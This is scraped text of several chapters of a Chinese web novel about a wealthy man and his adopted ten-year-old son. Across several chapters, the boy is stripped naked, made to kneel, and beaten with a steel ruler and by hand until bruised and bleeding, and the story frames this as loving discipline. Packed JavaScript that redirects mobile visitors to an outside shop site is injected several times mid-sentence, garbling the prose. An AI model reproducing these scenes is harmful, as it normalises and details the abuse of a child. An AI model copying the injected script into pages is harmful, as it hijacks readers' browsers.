邱嘉楠想了很久，突然笑笑点头，然后对着吸管一顿猛吸。 喝之前想的是只喝一小口，可是奶茶一触到舌头，邱嘉楠完全不受控制，吸了满满一嘴。 颜丹琳看他吞咽困难的样子，“嘻嘻”地笑：“剩下的归我了。” 好容易喝掉，邱嘉楠还伸出舌头舔舔嘴角，甜甜的：“我已经一个星期没有吃过甜食了。” “邱少爷！” 邱嘉楠一回头，是司机探头喊他了，他跟颜丹琳说了再见，跑车上去了。 喝了奶茶的邱嘉楠格外开心，没太注意别的，过了十来分钟才猛然发现，这不是回家的路！ “我们去哪里？” 司机边开车边回答：“邱少爷，章助理说直接送你到公司见尤董。” “哦。”邱嘉楠放了心，他和尤朗的关系日渐亲密，这种从学校接到公司的操作也不是第一回了，见怪不怪。 邱嘉楠到了公司，背着小书包轻车熟路地往尤朗办公室走，也不敲门，直接进去了：“爸爸。” 尤朗的视线从电脑屏幕上移开，不悦地盯着小孩：“过来。” 嗯？为什么爸爸看上去不太高兴的样子？他做错什么了吗？邱嘉楠惴惴不安的，走到了办公桌后面。尤朗轻抬眼皮，问：“你做了什么？” 邱嘉楠一头雾水：“没有。” “说谎？” 更大一顶帽子扣下来了，邱嘉楠撅起嘴，皱起鼻子，像被冤枉了却无处反驳似的：“没有啊！”尾音轻轻一拉，虚弱地飘在半空中。 尤朗认定小孩是故意瞒骗他，有点生气：“想挨打是不是？” 小脸皱得更厉害了，但邱嘉楠只会摇头。 尤朗没有那么多耐心，直问：“你是不是喝了奶茶？” 邱嘉楠一怔，来不及反应，章信已敲门进来了：“尤董，两位经理到会议室了。” “跟他们说，我就来。” “好的。” 在他们对话的当儿，邱嘉楠脑子里迅速闪过整件事的经过，一定是司机看见了他喝奶茶，告诉了章信，让爸爸知道了，才会要把他送到公司来，可是他等在校门口的时候分明没看见司机的车啊，司机是什么时候看见的？还是说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13581263|143113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他喝奶茶太兴奋根本就没注意司机？ 章信已经出去了，尤朗接着问小孩：“我是怎么跟你说的？” “不能喝奶茶。”语气里已没有了最初的疑惑，只有认命一般的无力感和若有若无的委屈。 “刚刚不说是想骗我？” “不是！”这个要反驳，邱嘉楠很急，“我不知道你说的是奶茶，我以为······” “以为我不知道，所以就不用告诉我？” 这回不说话了。他确实是这么想的。 尤朗拿过空调遥控器，把空调往上调了几度：“裤子脱了！” 邱嘉楠顿时警铃大作，爸爸要打他了，可是章信哥哥不是说有人在等着开会了吗？这都快五点半了，不会让人一直等着吧？ “磨蹭什么？现在叫不动你了是不是？” 才两秒钟就被训斥了，邱嘉楠委屈巴巴地放下书包，褪下外面的西装裤。天气太冷，里头还有一条厚厚的保暖裤。邱嘉楠觉得有些羞，不敢看爸爸，不情不愿地把保暖裤也往下扯了。 尤朗没有说话，邱嘉楠就知道没有完，连小内裤也不敢留，全脱光了，皮肤上立刻起了一层鸡皮疙瘩。 上身穿得厚，屋里又暖和，尤朗不担心冻着他，指指墙角：“去跪着，跪到我回来为止。” 邱嘉楠第一次被罚跪，很有些不解，也不乐意，水汪汪的眼睛恳求地看着尤朗，但是尤朗没理会他，拿上文件就要出去：“现在不跪，就等我回来跪到晚上。” 邱嘉楠一点办法也没有，只能弯腰抓着裤子，半步半步地挪去墙角跪了。 尤朗看了下小孩的背影，转身离开了办公室。 膝盖被两层裤子厚厚地包裹着，并不非常疼痛，可是，邱嘉楠很不喜欢这种感觉，就好像爸爸非常不喜欢自己一样，跟罚跪比起来，被爸爸按在膝头打屁股反倒显得温柔。现在自己一个人孤零零地跪在这里，面对着死沉沉的墙角，无助感异常强烈，好像尤朗将自己丢弃在此，再不会回来。 邱嘉楠被自己的感受伤到了，眼泪“扑簌扑簌”地往下掉，十分伤心，不知怎么的又想岔了，觉得他不是爸爸亲生的，爸爸不过是高兴了才像哄小狗一样哄哄他，要是不高兴，是可以随时丢掉的。 眼泪“啪嗒啪嗒”打湿了小脸，邱嘉楠越来越控制不住，竟小声地哭起来，心想连章信哥哥都不来看自己，肯定是不想管他了呜呜呜······ 24. 第 24 章 尤朗开个小会，二十分钟，邱嘉楠已经哭成了个泪人，仿佛这张脸整个人都要随着他源源不断的泪水融化了。尤朗一瞧，跪这二十分钟可把他委屈坏了。 “过来。”尤朗没到办公桌去，而是在沙发坐了。 邱嘉楠抽噎着站起身，拉着裤子，慢吞吞地扭头看尤朗，刚才满腹的委屈疑惑不知怎么的一下就烟消云散，只想立刻跑到尤朗身边让他抱一抱。可是这样多没出息啊，跪了这么久，应该生气，邱嘉楠这么想着，努力把尤朗的不好在脑海里都过了一遍，积攒了一小团怒气夹在胸中，准备冲尤朗发泄。 结果一头本应愠怒的小豹子，气势汹汹地做好准备，一迈出脚，却被自己的裤子绊了一下，“啪叽”摔在地上，瞬间成了软糯的小猫咪，尤朗直接笑出了声。 这下好了，邱嘉楠更难受了，又跪又摔，还被嘲笑，所有的情绪都化成了水，汩汩地从眼底冒了出来。 尤朗见势不好，立刻起身，快步上前去将小孩抱了来，知道小孩摔不着，还是假情假意地问：“摔疼没有？” “呜呜呜······”邱嘉楠只顾哭，不说话。 其实办公室里都铺着厚厚的地毯，哪里就摔疼了？左不过是借这一摔发泄情绪罢了。尤朗把小孩放在旁边，任由他哭。 原本邱嘉楠就难受，好不容易被尤朗抱了一下，以为喝奶茶的事就这么过去了，不曾想，泪眼朦胧的，竟看见茶几的文件上放着一把钢尺，屁股瞬间炸开一阵虚无的疼痛，吓得他哭声更大了。 几分钟过去，尤朗被哭得有点烦，小孩哭一会他可以哄，再哭一会他可以等，可是超过五分钟了，就什么耐心都磨没了：“你哭什么呀？不就是摔了一下？又不疼。” 邱嘉楠对尤朗这种不耐烦的语气非常熟悉，也非常害怕，这种语气和疼痛、厌恶是联系在一起的，而这正是他最恐惧的东西，因而一听尤朗如此说话，邱嘉楠立即抬起手背擦了眼泪，抽泣道：“膝盖，膝盖疼，呜——” “跪了一会就疼了？这么厚的裤子有什么疼的？我让你跪那里，你不好好反省，就顾着哭，好意思？” 那你又不说反省，我怎么知道？邱嘉楠在心里默默反驳，只是这样的话绝不能说出口，否则他很有可能再次回到没爹没娘的凄凉处境。 “站起来，自己好好给我说，都错哪儿了？” 邱嘉楠屁股慢慢离开沙发，一张脸早已哭得通红，秋冬空气干燥，泪水这么往脸上一扑，很快结在脸庞上，粘着皮肤，有种异常紧绷的感觉，再过一会就要觉得刺痛了。 可是尤朗头回当爸爸，又不懂这么多，竟也不给小孩擦眼泪，只是盯着他，听他磕磕绊绊地说：“我不应该偷偷喝奶茶。” “除了这个呢？” 邱嘉楠不想说，因为他知道下一个错比偷偷喝奶茶还要严重，真的说出来了，尤朗一定会讨厌他，非常，非常讨厌他。 “要我自己说吗？” 尤朗的神情过分严肃，以至于邱嘉楠光是与他对视就感到害怕，在强大气压的钳制下，小孩再次掉了泪：“我不应该想要瞒着你。” 就这么一点事，不算大错，尤朗本想说一个错误打二十下，可是想到钢尺在孩子身上打四十下就有点不忍心，便道：“趴过来，错一个打十五下屁股，一共三十下，听到没有？” 要打三十下，还是用那个钢尺，邱嘉楠吓得双腿发抖，眼泪像泉眼一样，不住往外冒水，简直可怜到了极点。 可是小孩到底怕尤朗，再怕疼也不会违拗尤朗的话，哆嗦着趴到了爸爸的长腿上。 尤朗调整了一下小孩的姿势，让他趴得舒服些，同时也让光溜溜的小屁股撅得高些。 邱嘉楠两手刚好碰到地面借力，不敢抓尤朗的裤子，生怕像之前一样弄脏了惹他不快。朦胧的余光里，那把薄薄的钢尺被拿走，随后，身后两团肉被拍了拍，两指宽的冰凉贴了上来。 邱嘉楠第一次挨这种金属质地的东西，那种冰凉感里带着点类似铁锈的生涩和腥气，让人印象深刻。小孩尚且来不及做好心理准备，钢尺便“啪”一下责了下来。 钢尺很薄，两端用力掰就有明显弯曲的弧度，看上去并不像可怕的工具，可是这么一尺打下来，小孩的屁股上却立刻涨起一道浅红色的痕迹。 “呜呜呜······”邱嘉楠小声哭着，这尺子打人太疼了，打三十下，屁股肯定要肿了。 尤朗倒觉得这么一点红不算什么，继续扬起戒尺，添了两份力“啪”地落在小孩臀尖。 “啊呜······”叫声可怜，一半是因为疼，一半是因为委屈。 邱嘉楠有一个多月不曾挨打，上回挨打还是他在饭桌上乱答应别人的话，被尤朗用巴掌揍了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13581264|143113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一顿，可是跟钢尺比起来，巴掌多轻啊！现在这么打，尤朗肯定是不喜欢他准备不要他了。 挨了几下，原本生涩和冰凉的感觉被胀痛和温热所取代，屁股大温度越来越高，邱嘉楠的哭声也随着渐渐尖锐。 “啪！” “啊呜呜呜······”邱嘉楠两腿在厚厚的地毯上蹬着，企图逃脱掉尤朗的压制和钢尺的折磨。可是尤朗的大手正结结实实地按着他的后腰，任他如何挣扎，也无法逃脱这五指山一般的压力。 “痛······好痛······”腿蹬不开，便换手来，邱嘉楠挥舞着两只小手，拼了命地想要伸到后头去捂住屁股，真的太疼了，热辣辣的，如果说之前脱裤子罚跪的时候冷得像冰水，那现在简直就是沸腾了！ 尤朗被那两只胡乱挥打的小手扇到，当即一把抓住：“再乱动试试！” 邱嘉楠被吓得一怔，差点被口腔里的口水呛到，哽咽了一会，哭道：“太疼了，不要打了。” “才打了十二下，知道疼就好好长记性，看你以后还敢不敢！”尤朗说着，用力挥下了钢尺，在小孩通红的屁股上继续烙下红痕。 “呜呜呜······”邱嘉楠悲伤异常，才喝了一口奶茶，为什么要打这么多？！ 继续打了几下，尤朗稍微停下，转转手腕，可没想到他稍微放松一点钳制，小孩便立刻滚了出去，可怜巴巴地跪坐在厚厚的地毯上，两只小手捂着成片的绯红，泪眼汪汪地望着尤朗，写满了恳求。 尤朗不是不心疼他的，可是以他当老板多年的经验，但凡有一次没有说到做到，以后就很难再有人相信自己了。 教育孩子同样如此，这次开了头，以后小孩就不会再尊重规则了。 “过来。” 邱嘉楠摇了摇头，两行新鲜的眼泪淌下，划过已然干燥到刺痛的脸颊。 尤朗深呼吸，劝说自己不要着急，劳医生说过的，要有耐心。“楠楠，爸爸问你，你是不是做错了？” 邱嘉楠眼底的害怕顿时变成了委屈和茫然。他知道自己是错了，但是他不想挨打嘛！ “楠楠，回答爸爸，是不是做错了？” “是。”邱嘉楠不敢抬头，不敢看尤朗。 “做错了是不是要受罚？” “可是我已经知道错了，好疼。”说着眼泪就“扑簌”而落。 25. 第 25 章 “爸爸知道这很疼，爸爸也很舍不得打你，但是你做错了事，这是你应该接受的惩罚，对不对？楠楠已经是小男子汉了，要勇敢一点，好吗？” 邱嘉楠看了一眼爸爸，又很快避开了，他不够勇敢，做不到爸爸说的那样。 尤朗前倾身体，把小孩抱了起来：“还有十四下，打完了要记住这回犯的错，以后不许这样，可以吗？” 根本没有拒绝的余地，邱嘉楠含泪点点头，重新伏上了爸爸的膝头。 屁股肿起了两指高，深红透紫，泛着几点血痧，要是再打下去，肯定会破皮出血。尤朗心疼地给孩子揉了揉，又拍拍背，当作安抚：“不要乱动，不然爸爸生气了。” “爸爸生气”简直是邱嘉楠的软肋，这话一出，立刻卸掉了四肢的力气，像一只刚褪壳的小螃蟹，浑身上下都软乎乎的，一点威胁都没有。 尤朗对此感到十分满意，扬起钢尺，“啪”地落下，臀上的皮肤被压下，随后呈现出了更深的紫红色。底下血液滚涌，皮肉遭难。 人不动，痛呼却忍不住，邱嘉楠控制不住喉咙里的哭喊，颇有些孟姜女哭倒长城的气势。 “啪！”尤朗对于孩子的哭声没有太多心疼，手中的钢尺不停。 不过打了几下，小孩再次挣扎起来，毕竟疼痛加身，一个十岁的小孩很难不反抗不躲避。小小的身子在爸爸腿上想离水的鱼似的弹来弹去，差点又摔下去。 “邱嘉楠，你不听话是不是？！” “呜呜呜······”邱嘉楠哭得都回不了话了，只一个劲要逃脱爸爸的掌控和钢尺的蹂躏。 尤朗却没有耐心了，三十尺，按说一分钟就能打完，可现在都跟着小孩纠缠快十分钟了，竟还有七下。更何况，前面二十三下都忍过来了，最后七下不是很快就过去了吗？！ “邱嘉楠，你再动！” 邱嘉楠根本感受不到爸爸的怒气，所有的一切都被臀上的剧痛屏蔽了，完全隔绝在他的世界之外。 尤朗看着小孩不断动弹的身体，长腿一抬，让小孩滑向自己，随后一手掰着小孩一边臀瓣，露出中间尚且白皙的皮肤，另一手高高挥起钢尺，重重打了下去！ “啊！！！”邱嘉楠惨叫出声，那个地方从没挨过打，没想到能这么疼，这一下简直比前面十下加起来还要可怕，几乎要痛晕过去了。 “还动不动？！” “不。不动了，不要打！呜呜······”这一下像是解除了所有的屏蔽，让他重新感知到了其他的情绪，面对尤朗的喝问，邱嘉楠再不敢不说话。 “刚刚那下不算，还有七下，自己数出来，听到没有？！” “呜听，听到了。”眼泪落在脸上、沙发上，甚至有些落在地毯上，渗进了看不见的地方，只留下一团深色的水渍。 “啪！” “啊！一。” “啪！” “呜啊！二，二，呜······” “啪！” “三咳咳咳······”似乎是报数时被口水呛到了，头又往下倒，邱嘉楠咳个不停，原本就通红的小脸几乎憋紫了。 尤朗听他咳得难受，先是给孩子拍了拍，发现没用，又抱起来给他缓了会。 这一抱可了不得，小孩头发凌乱，满脸泪痕，嘴唇因为充血有些肿胀，鼻涕尾巴挂在人中处，一吸一吸的，这个时候给他换套旧点的衣服，走在路上说不定会有好心人给他几块钱。 实在是太惨了。 尤朗没想到他哭成这样，抽了纸巾来给他擦。邱嘉楠本来就疼得难受，乍一下得了一点温柔抚慰，却更加感到心酸，尤朗一边擦，他的眼泪一边冒，越是不想哭越是哭得厉害，像老旧房子里不知何处破掉的水管，越是不想让它漏，越是漏得多。 “好了好了，不哭了，再哭等会难受了。” 邱嘉楠肩膀一抖一抖的，哭了有十分钟才慢慢停下来，一停就被尤朗提醒：“还有四下，要挨完。” 呜呜呜，又想哭了。 “楠楠知道错了对吗？” 邱嘉楠泪眼婆娑地看着爸爸，小鸡啄米似的点头。 尤朗放下钢尺：“不可以逃罚，说是三十下就得打三十，但是爸爸知道楠楠是好孩子，最后四下轻轻的，好不好？” 邱嘉楠还一抽一抽的，知道这是爸爸最大的让步了，他不能太不识好歹，于是乖乖点头。 小孩又被倒了过来，露出破了些油皮的屁股，尤朗抬起手，只用三四分力落下巴掌。 可是小孩伤成这样，别说巴掌了，不碰都疼。因而尤朗虽尽可能放水，小孩还是疼得哭出了声。 “好了好了，打完了，不要哭了。你再哭······”话音未落，外头却响起了敲门声。 这个时候该下班的都下班了，会来找尤朗的只有章信一个。尤朗看看小孩，扬声道：“进来。” 章信推开门，正看见顶着个红紫色屁股的小孩正往尤朗怀里躲，不由得红了耳尖，尽量保持平静： ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他们班有些小朋友从小就混迹在各种汽车4s店，对于车的品牌、价格非常清楚，有时候甚至在学校里侃侃而谈谁家的车比较贵，谁家的车比较新，谁家的车最难买。但是邱嘉楠不懂这些，只好在白纸上画了一个图标：“这个。” “宝马嘛，”颜丹琳淡淡道，又在纸上画了个图标，“可是，我上次看你爸爸开的是大众哦。” 邱嘉楠听不懂，但是根据颜丹琳的语气判断，大众不是很好的样子。他想了想，突然笑道：“我爸爸说了，要低调！” 26. 第 26 章 除了每天偷喝一点奶茶以外，邱嘉楠严格遵守医嘱，按时吃完了那一整盒抗过敏药。本以为吃完药荨麻疹就会好，可是，最后一颗药吃完两天后，邱嘉楠身上再次长出了疹子。 不会吧，不会真的是奶茶惹的吧？ 邱嘉楠不敢跟爸爸说，却也不敢哭喊，只得强忍着浑身上下难耐的瘙痒，看着更可怜了些。尤朗不可能不管他，当即开车去了省人民医院。 检血常规和过敏原。因为贫血的缘故，邱嘉楠常常要抽血化验，检血常规的时候非常平静，但是检过敏原就不行了。在外头排队的时候他探着头往里看，只见正在检验的那个人伸着两条手臂，护士拿着什么东西在他手上一路扎过去。邱嘉楠吓得一抖，拉着爸爸泪眼汪汪：“爸爸，我害怕。” 这是全省最好的医院之一，人非常多，尤朗在这样的环境中颇不舒服，但还是忍耐着，抱着小孩安慰道：“不怕，没事的，检查了就知道什么过敏了，这样医生才有办法治好楠楠。” 道理小孩都懂，可是害怕是没办法控制的。邱嘉楠往爸爸身上靠了靠，带着哭腔唤：“爸爸。” “邱嘉楠！邱嘉楠在吗？” 尤朗转过头：“在的，楠楠，我们进去吧。” 小家伙满脸写着不情愿，每一步都是尤朗在前面拉着，只恨不能脚下长出钉子把自己钉在原地。尤朗看出小孩有些恐惧，便自己先坐下，把小孩抱在腿上。 “小朋友袖子挽上去，手伸过来。” 冬天衣服厚，脱了厚风衣和毛衣以后袖子才拉得动。小臂甫一露出，立刻冷起了一层鸡皮疙瘩。邱嘉楠木木地伸出手，扭开了头。 护士抓着小孩一边手，在一众小瓶里取出很细的一根针，迅速在小孩手上扎了一下，随后又换另外一根，一路扎上去。邱嘉楠一直不敢看，只是整个人一颤一颤的。 尤朗第一次知道是这样检查过敏原，也有点心惊，便将孩子抱紧了些：“楠楠不怕，很快就好了。” 可是三十二种过敏原，哪有这么快？好不容易一边手臂全扎完了，又要伸出另一边手去。邱嘉楠窝在爸爸怀里，眼泪“啪嗒啪嗒”地掉，可把尤朗心疼坏了。 “楠楠乖，就好了。” “呜呜呜……”尤朗不说还好，一说邱嘉楠就忍不住心酸落泪，差点连手臂都稳不住。 “好了，”护士终于大发慈悲地放开了小孩的手，“不要擦，到外面晾十五分钟。” 尤朗抱着小孩坐到外头去了。怀里的小孩一个劲掉眼泪，看着像个小哭包。尤朗掏出纸巾给小孩擦了几下：“不许哭了，都好了，等治好了就不疼也不痒了，我们也能吃好吃的了，好不好？” 邱嘉楠听着爸爸温柔的话，慢慢止了眼泪，抽噎着点了点头。 可问题是，邱嘉楠没有过敏原，过敏原检查，他对什么都不过敏。 “怎么会没有呢？” 医生见怪不怪：“免疫力低呗，开个维c……” “医生，”尤朗直接打断了，“有没有别的治疗方式？钱不是问题，但我希望小孩不要受荨麻疹的苦。” 医生看看这家长坚定的表情，又看看小孩还留着泪痕的脸，道：“那就打针吧。” 能直接提高免疫力的针剂，两三千一支，不过只要能治好，尤朗是不在意钱的。只是邱嘉楠非常不愿意，去注射室的路上比刚才检查过敏原还抗拒，尤朗拉着他走一步，他又退回去半步，十几分钟都没走到注射室。 “邱嘉楠，你怎么回事？你不是不怕打针吗？”尤朗还记得那次去医院看他，小孩子一连挨了两针都没反应，现在还不如那会了？ 可是小孩哪有不怕打针的？他那时候怕得要死，只是更怕尤朗讨厌他，所以才拼了命装出一副大无畏的样子。可是今日不同往昔，他被宠爱过一阵，那些大无畏早就死得透透的了，再怎么也装不出来了。 “你再这样，我就不要你了！”尤朗有些烦躁，没有多想就脱口而出。 哪曾想，这话还真有威力，邱嘉楠一下就怔愣住了，随后也不要尤朗带，自己一个人朝注射室走去了。 前一个人出来，刚好轮到邱嘉楠。邱嘉楠看着面前的椅子，不知道该怎么坐。护士看了一下针剂上贴着的条子，问：“邱嘉楠？” “是我。”邱嘉楠蚊子叫似的回答。 “小朋友，你家长呢？” 邱嘉楠不想回答这个问题，护士等了一会，干脆直接冲外头喊：“哪位是邱嘉楠的家长？！” 尤朗一听，刚放松下来的身体又立刻紧绷了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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尤朗默默叹气，好不容易等到不出血了，才丢了棉签，帮小孩把裤子穿上：“行了，打完了，别哭了，回家吧。” 可是邱嘉楠硬邦邦的，也不肯跟着尤朗走，一副闹小脾气的样子。 “你又怎么了？”一个男孩子，怎么磨磨叽叽的？ 邱嘉楠扭过头，道：“是你说不要我的。”话一出口，眼泪又要流。 尤朗还费心想了一会儿，才反应过来这话是什么时候说的，顿时有些不耐烦，却又不好在医院里发作，只得耐着性子道：“先回家。” “你说不要我了。” “我什么时候说不要你了？！”尤朗提高了一个声调，周围几个人纷纷看了过来。 27. 第 27 章 尤朗是要面子的人，不可能当众丢人，也顾不上小孩怎么样，一把将他抱起，离开了医院。 小孩在车上就闹起脾气来，看也不看爸爸。尤朗忍着气，一路开车回了家。 回了家可就由不得邱嘉楠了，刚迈进家门，裤子就被扒了，尤朗的巴掌“噼里啪啦”落了下来，打在小孩柔嫩白皙的臀上。邱嘉楠吃痛，哭叫起来，又挣扎着，结果一不小心被打到针口，眼前一黑，差点晕过去。 “痛！啊！不要打！呜呜呜……” “不听话！闹脾气！”尤朗揪着小孩，一边骂一边朝小孩屁股上落巴掌，也不管小孩刚刚打过针，“不肯打针！你想永远都好不了是不是？！” “呜呜呜……我害怕！我好害怕！呜呜呜……” “打针有什么好怕的？你就不怕荨麻疹好不了？！你再给我哭！你有什么好哭？针也打完了，病也值了，你哭个什么劲？！”几句话的功夫，巴掌已落了近十下，小孩的屁股一片通红。 “痛！呜呜呜……我不要打针！不要打我！我不要你了！” 尤朗一怔，手上动作一停：“你说什么？” 邱嘉楠边哭边喊：“是你说不要我的！我讨厌你了！我不要你了！我不要爸爸了！呜哇……” 尤朗气得要死，正要再打，却听小孩咳了起来，像是哭得呛到了，咳了一会，整张脸涨成了猪肝色，仿佛下一秒就要喘不过气了。 尤朗又气又心疼，抱着他拍背顺气，嘴里哄着：“快别哭了，等下哭坏了。” “呜呜呜 ……咳咳呃……”邱嘉楠是真正水做的骨肉，一哭起来没完没了，尤朗一边揉着他的小屁股一边给他擦眼泪，嘴巴还不能歇着：“好了好了，你怎么这么能哭啊？别哭了，晚上我们去吃肯德基好不好？爸爸不会不要你的，爸爸气急了才说那句话，以后不说了，嗯？楠楠不哭，楠楠乖……” 虽然知道爸爸只是气急了才说，但是听到那句话的时候邱嘉楠真的很伤心，那种被抛弃的感觉瞬间充盈了他的心，像是一个重见光明的人被抛到了黑暗中。 尤朗满心无奈，哄了老半天，也不知道这么能哭的到底是儿子还是女儿，看来叫“楠楠”还是有道理的。 邱嘉楠从中午哭到下午，午饭也没吃下多少，眼泪倒是流了一筐，直到下午关再秋来上钢琴课才堪堪止住。 自从邱嘉楠对钢琴的心理阴影慢慢淡去之后，尤朗就把关再秋请回来上课了。 “楠楠怎么了？眼睛都哭肿了。”关再秋关切地问。 邱嘉楠抽噎着，说不出话来。尤朗将小孩放下，道：“上午去医院做了过敏原检查，又打了针，哭到现在。” 邱嘉楠默默走到钢琴凳上坐着，心想分明就是你说不要我了，还打我，现在都赖打针，坏人！ 关再秋走到小孩身边坐着，低头问：“楠楠哪里痛？老师看看。” 总不能看屁股，邱嘉楠伸出还没有遮住的手臂，没有说话。那好几排针口还留着，关再秋一眼就看见了，当即道：“这么多，楠楠都坚持下来了，好厉害哦！现在还痛不痛？老师给楠楠吹吹好不好？”说着还真对着轻轻吹了两口气，“楠楠今天肯定累坏了，我们不学新曲子了，复习一下旧曲子好不好？” 尤朗一直看着，心想原来是这样哄小孩啊，学会了。 年底很快就到，尤朗今年无论如何不可能把小孩丢在家里，但是带回老家过年肯定又要被问长问短，烦了一阵，决定先问小孩。 “楠楠，坐过飞机没有？” 当时邱嘉楠正在抠汉堡里的鸡肉吃，闻言抬起一张沾着沙拉酱的脸，呆呆道：“坐过啊，每个学期都坐。” 尤朗梗了一下，本来想用飞机引诱小孩和自己一起回老家，结果被他堵了，这才想起他们那个学校每个学期都要搞什么国际夏令营，别说坐飞机了，就差坐火箭了。 “那，你想不想和爸爸一起坐飞机？” 邱嘉楠看了爸爸几秒，认真地消化了这句话的意思，然后小鸡啄米似的点头，手里的汉堡一颤一颤的，像是随时会掉下来。 尤朗笑笑，就这样愉快地决定了。 尤朗的父母当年是他们当地国企的领导。两位老人从岗位上退下来以后，就在郊区置办了一栋小别墅，平时两个人住着，一到过年过节，孩子们就回来看望他们。 尤朗是回来得最晚的，大家都出来迎他，可是有些笑容，还是怎么看怎么僵硬。 “二哥，那几年不是跟你说过了吗？那个女人就是贪图你的钱，还让你养她的孩子！你怎么就那么傻？什么？你说她跑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13581267|143113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了？那你还给她养孩子，还把他带回来碍眼！”尤朗的小妹一关上门就念叨个不停。 尤朗对这个小妹有点无奈，因为是家里最晚出的孩子，又是女孩，从小就被宠得过头，只不过尤朗出国以后就对她眼不见心不烦，实在省了很多事。但每次过年，依旧免不了这些争论。 “尤晴，那是我的孩子，你也不用以为别人都傻就你聪明，想教我做事，你还太嫩了！” “这种事是靠年纪说话的吗？你大我十岁，可你连女人都没接触过几个！” “所以我没养女人，我养的是小孩！”尤朗不欲与她争执，推开门就要出去，却刚好被一个跑过来的小男孩一头撞上：“舅舅！” 尤朗抓着小孩，知道那是他的外甥，尤晴的儿子，只是压根不记得叫什么名字：“你干什么？” 小男孩身上有点脏，像是摔了跤，一看舅舅不像是为自己主持正义的样子，立刻转向屋里大喊：“妈妈！” 尤晴紧赶慢赶地出来，生怕儿子受了一点委屈。她是被宠大的，自然也要宠大自己的儿子：“小宇，怎么了？” “那个杂种打我！” 尤朗眉头拧成一团，正要发作，却被尤晴抢了先：“二哥！你要养也好好教，一来就动手打人怎么回事啊？他不会以为这里真是他家吧？！” 尤朗实在不想和她说话，一扭头就看见邱嘉楠站在门口，身上也有点脏脏的，手足无措。 “楠楠，过来。”尤朗走过去两步，想跟孩子问个清楚。邱嘉楠的性子他是知道的，别人欺负他他都不一定敢还手，更不要说动手打人。 邱嘉楠怯怯地走到尤朗跟前，双唇动了动，似乎是想叫爸爸，但是到底没叫出口。 “你打人了？” 邱嘉楠沉默地站着，没有说话。 尤朗蹲下来，看着他：“你说，你说什么爸爸都相信你，你是不是打人了？” 邱嘉楠看着爸爸的眼睛，脸上没有一点委屈的神情，只是茫茫然的，像是被巨大的疑问困惑着。 “哼，你敢说吗？”尤晴的儿子愤愤道。 邱嘉楠眨了眨眼，随后点点头，顺势避开了尤朗的眼神。 “爸爸再问你一遍，你是不是打人了？” 邱嘉楠把头压得更低了。 28. 第 28 章 邱嘉楠被带回房去洗澡了。他身上也有点脏，尤朗受不了这个。 十几分钟后，洗得香香的邱嘉楠穿着一身斑马睡衣出来了。他以前看电视，广告上有时会出现穿着动物睡衣的小朋友，或者是小老虎，或者是小恐龙，每回见了都有点想要。后来章信带他出去，让他想买什么就买什么，他就只要了一套动物睡衣。 尤朗坐在床边拍拍自己的大腿，让小孩过来。 邱嘉楠知道自己是要挨打了，有些害怕，可是眼神中又带着失落，情绪颇为复杂。 小孩一声不吭趴在爸爸一边大腿上，上半身顺势趴在床上，不会摔，非常安全。小屁股残留着热水的余温，甫一接触空气，立刻起了一层鸡皮疙瘩。 尤朗的大手搭在小孩白白肉肉的屁股上，道：“打架，罚四十下巴掌，不许哭，听到没有？” 邱嘉楠心不在焉地点点头，浑身发虚。 “啪！”巴掌重重落下，邱嘉楠全身一紧，下意识地要缩起身体来。 “趴好。”尤朗言简意赅，一边按着小孩的腰一边落下巴掌，房间里“啪啪啪啪”地响。火烧般都疼痛迅速爬上屁股，邱嘉楠眼里蓄满了泪水，却牢牢记着尤朗的话，一点哭声都不敢发出。 待得小屁股一片通红时，尤朗停了手，将小孩提起来站好。 面对着爸爸的小孩终于忍不住，泪水夺眶而出。 “不许哭！”尤朗没有轻易放过这事，仍旧脸色铁青，问，“为什么打架？” 邱嘉楠抿抿唇，让人误以为他要开口说话了，可沉默仍在继续。 